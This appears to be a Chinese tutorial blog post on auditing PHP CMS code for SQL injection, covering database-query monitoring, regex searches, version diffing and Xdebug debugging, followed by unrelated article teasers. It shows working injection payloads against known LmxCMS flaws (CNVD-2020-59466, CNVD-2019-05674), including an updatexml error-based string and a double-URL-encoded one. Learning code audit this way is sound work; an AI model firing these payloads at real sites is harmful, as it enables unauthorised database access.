第81天: 代码审计-PHP 项目MVC 注入CNVD 拿 1daySQL监控动态调试

目录

前置知识

正则表达式挖掘思路(通用漏洞思路)

功能点挖掘思路(通用漏洞思路)

案例一:数据库监控-QQ 业务源码系统-(无过滤)

案例二:正则表达式-Bluecms 源码系统-(无过滤)

案例三: CNVD 拿 1DAY-梦想 CMS 源码系统-(有过滤)

梦想 CMS 后台 Bo***.cl***.php 文件存在 SQL 注入漏洞

LmxCMS V1.4 前台 Ta***.cl***.php 存在 SQL 注入漏洞

​案例四:两种代码审计的思路

文件对比技术

动态调试技术 


前置知识

正则表达式挖掘思路(通用漏洞思路)

功能点挖掘思路(通用漏洞思路)

案例一:数据库监控-QQ 业务源码系统-(无过滤)

效率高但是只针对sql注入

源码部署以后,利用代码审计的数据库监控程序

导入项目进行语句查找,like后面的数据得删掉,因为ip不在里面写,是数据包中导入的ip是从这个函数中得来的,全局搜索这个函数的来源

查找这个函数的来源

函数定位

看到这里就明白了可以进行xff注入

成功

后面就是正常的手工注入的流程

案例二:正则表达式-Bluecms 源码系统-(无过滤)

使用正则表达式过滤

(update|select|insert|delete|).*?where.*=

这里我用的的是vscode,点击目录,按住ctrl+shift+f,输入正则表达式

需要关注这种变量可以控制的

查看定义

 查看到了query函数

对用户输入没有进行完整的过滤

让sql语句输出出来,以此来方便调试

执行

sql注入无回显,可以利用延时注入

这里直接扔到sqlmap中

案例三: CNVD 拿 1DAY-梦想 CMS 源码系统-(有过滤)

mvc框架(各司其职)

梦想 CMS 后台 Bo***.cl***.php 文件存在 SQL 注入漏洞

cnvd地址:https://www.cnvd.org.cn/flaw/show/CNVD-2020-59466

mvc框架访问方式

分析

id参数是由用户输入

终于看到了sql注入语句

让sql语句输出

触发sql语句

query函数里面执行sql语句里面有sql注入的报错语句,可以执行报错注入

测试payload

m=Book&a=reply&id=1)%20and%20updatexml(0,concat(0x7e,user()),1) --+

LmxCMS V1.4 前台 Ta***.cl***.php 存在 SQL 注入漏洞

cnvd地址:https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674

查看该目录,发现有两个变量

查看函数定义

 存在的绕过点

sql注入点

继续跟踪查看到了sql注入语句

让sql语句输出

触发

 把sql注入语句进行两次url编码

注入

案例四:两种代码审计的思路

文件对比技术

利用软件beyond compare直接选择文件夹比较,把两个文件拖进去

这里下载了两个版本lmx,利用软件beyond compare,有颜色变化的就是做过修改的地方

这个文件

查看新旧版本在编写上的区别,从而推断出来旧版本的问题

动态调试技术 

配置参考文献:https://blog.csdn.net/nzjdsds/article/details/100114242

首先需要开启phpstudy的xedebug

然后再php.ini文末加入下面的代码

[XDebug]
xdebug.profiler_append = 0
;效能监测的设置开关
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
;profiler_enable设置为1的时候,效能监测信息写入文件所在的目录
xdebug.profiler_output_dir="D:\phpstudy\tmp\xdebug"
;设置的函数调用监测信息的输出路径
xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug"
;生成的效能监测文件的名字
xdebug.profiler_output_name ="cache.out.%t-%s"
; IDE与XDebug协作
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_port = 9000
xdebug.idekey = phpstorm-xdebug
;.dll文件的路径
zend_extension="D:\phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xdebug.dll"

配置phpstorm

配置端口

 

验证是否配置成功

下断点

执行后会自动启动页面

要触发data数据这里需要利用刚才的payload

m=tags&name=%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33

往下执行可以看到执行到哪一步了,并且可以看到对应的变量和值

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/618246.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

二、使用插件一键安装HybridCLR

预告 本专栏将介绍如何使用这个支持热更的AR开发插件,快速地开发AR应用。 专栏: Unity开发AR系列 插件简介 通过热更技术实现动态地加载AR场景,简化了AR开发流程,让用户可更多地关注Unity场景内容的制作。 热更方案 基于Hybri…

STM32系统架构

以下是STM32系统架构中的各个重要组件和功能: 组件描述Cortex-M内核ARM Cortex-M系列内核,如M0、M0、M3、M4、M7等Flash存储器存储程序代码和数据SRAM存储程序运行时数据和堆栈外设接口GPIO、SPI、I2C、UART、TIM、ADC、DAC、USB、CAN、Ethernet等时钟和…

Android动画(四):PathMeasure实现路径动画

文章概览 1 PathMeasure概述2 实现路径加载动画3 实现箭头加载动画4 实现操作成功动画 本系列将介绍以下内容: Android动画 1 PathMeasure概述 PathMeasure是一个单独的类,其全部源码如下(请详细研读注释): package…

吃透前端文件上传与文件相关操作

最近在学文件上传的操作,所以想把学习到东西写成一文章 这片文章是我以小白视角 慢慢学习并熟悉前端文件相关操作的流程总结出来的 前端文件上传 我首先想到是 <input type"file">选择文件</input>如果我们想限制上传文件的格式,大小或进行裁剪分片上传…

ssm121开放式教学评价管理系统+vue

开放式教学评价管理系统vue 摘 要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对开放式教学评价管理系统当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了开放式开放…

C++类与对象的一些练习

1.设计一个名为Rectangle的矩形类&#xff0c;其属性为矩形的长和宽&#xff0c;能计算和输出矩形的周长和面积。 class Rectangle { public:Rectangle(int c0,int k0):m_c(c),m_k(k){}int length()//周长{return 2 * (m_c m_k);}int area()//面积{return m_c * m_k;} privat…

SM131,SM130机笼和利时

SM131,SM130机笼和利时。设计系统 控制过程组态&#xff1a;针对过程控制站进行的控制逻辑和策略的组态 人机界面设计&#xff1a;SM131,SM130机笼和利时。针对操作员站进行的数据库组态模件外观、模件接线&#xff09;算法符号算法表示符号、SM131,SM130机笼和利时。输入输出端…

南京信工一班IP(2)

第六章&#xff0c;BGP—边界网关协议 自治系统—AS ​ 定义&#xff1a;由一个单一的机构或组织所管理的一系列IP网络及其设备所构成的集合。 ​ AS的来源&#xff1a; 整个网络规模过大&#xff0c;会导致路由信息收敛速度过慢&#xff0c;设备对相同目标认知不同。AS之间…

基于openEuler22.03 LTS环境的容器项目实训——分布式微服务项目部署

一、说明 本文配置环境为VMware虚拟机&#xff08;2核CPU&#xff0c;4 GB内存&#xff0c;40GB磁盘&#xff09;&#xff0c;OS为openEuler 22.03 LTS &#xff0c;虚拟机要求能联网。 二、安装docker环境 2.1 安装docker相关软件包 [rootnode01 ~]# dnf -y install docker…

python如何单步调试

Python怎么单步调试&#xff1f;下面给大家介绍一下单步调试&#xff1a; 方法一&#xff1a;执行 python -m pdb myscript.py (Pdb) 会自己主动停在第一行。等待调试&#xff0c;这时你能够看看帮助。 方法二&#xff1a;在所调试程序的开头中&#xff1a;import pdb 并在你…

R语言数据分析案例-股票可视化分析

一、数据整合的对象 # Loading necessary libraries library(readxl) library(dplyr)# Reading the data from Excel files data_1 <- read_excel("云南白药.xlsx") data_2 <- read_excel("冰山.xlsx")二、数据整合的代码 # Reading the data from…

Android的NDK开发中Cmake报缺少对应的x86的so文件

需要实现一个串口操作的命令。 供应商提供了2个so文件。 分别是 armeabi-v7a 和 arm64-v8a 添加到对应的cpp下。 在CMakeLists.txt里添加so文件 # 添加预编译的库 add_library(libxxx SHARED IMPORTED)# 设置库的路径 set_target_properties(libxxx PROPERTIES IMPORTED_…

重写muduo之TcpConnection

目录 1、 TcpConnection.h 2、 TcpConnection.cc 1、 TcpConnection.h TcpConnection底层绑定&#xff08;管理&#xff09;了一个Channel&#xff0c;Channel有事件被Poller通知后&#xff0c;会调用相应的回调&#xff0c;这些回调也是TcpConnection中包含的方法&#xff0c…

牛客Java面试题【面试】

牛客Java面试题【面试】 前言推荐牛客Java面试题【面试】第2章 Java笔面试高频考点&解题技巧1. Java基础[2.1 一、java-基础-1](https://www.nowcoder.com/study/live/689/2/1)1.1 为什么Java代码可以实现一次编写、到处运行&#xff1f;1.2 一个Java文件里可以有多个类吗&…

我觉得这个域名证书监控平台又吊打Uptimekuma了

前面我们讲过uptimekuma 如何监控域名证书&#xff0c;很多人都喜欢 uptimekuma 那高端暗黑的色系上&#xff0c;然而最实用就是它的域名证书监控和历史可用性图表的展示上了&#xff0c;如下如&#xff1a; 但是这个东西吧&#xff0c;好看吗&#xff1f;好看&#xff0c;有用…

关键点检测——面部情绪数据集

引言 亲爱的读者们&#xff0c;您是否在寻找某个特定的数据集&#xff0c;用于研究或项目实践&#xff1f;欢迎您在评论区留言&#xff0c;或者通过公众号私信告诉我&#xff0c;您想要的数据集的类型主题。小编会竭尽全力为您寻找&#xff0c;并在找到后第一时间与您分享。 …

开源web在线数据库设计软件 —— 筑梦之路

GitHub - drawdb-io/drawdb: Free, simple, and intuitive online database design tool and SQL generator. 简介 DrawDB是一款多功能且用户友好的在线工具&#xff0c;允许用户轻松设计数据库实体关系。通过简单直观的界面&#xff0c;DrawDB使用户能够创建图表、导出SQL脚本…

【机器学习300问】86、简述超参数优化的步骤?如何寻找最优的超参数组合?

本文想讲述清楚怎么样才能选出最优的超参数组合。关于什么是超参数&#xff1f;什么是超参数组合&#xff1f;本文不赘述&#xff0c;在之前我写的文章中有详细介绍哦&#xff01; 【机器学习300问】22、什么是超参数优化&#xff1f;常见超参数优化方法有哪些&#xff1f;htt…

AcWing-168生日蛋糕-搜索/剪枝

题目 思路 表面积和体积公式&#xff1a;以下分析参考自&#xff1a;AcWing 168. 生日蛋糕【图解推导】 - AcWing&#xff1b;AcWing 168. 关于四个剪枝的最清楚解释和再次优化 - AcWing 代码 #include<iostream> #include<cmath> using namespace std;const in…

http协议 tomcat如何访问资源 servlet理论介绍

tomcat介绍 bin是启动命令&#xff1b; conf是配置&#xff0c;可以修改端口号&#xff1b; lib是依赖的jar包&#xff1b; logs是日志 webapps是重点&#xff0c;在这里新建我们自己的javaWeb项目 tomcat如何访问资源 tomcat通过统一资源定位符&#xff08;URL&#xff09;来…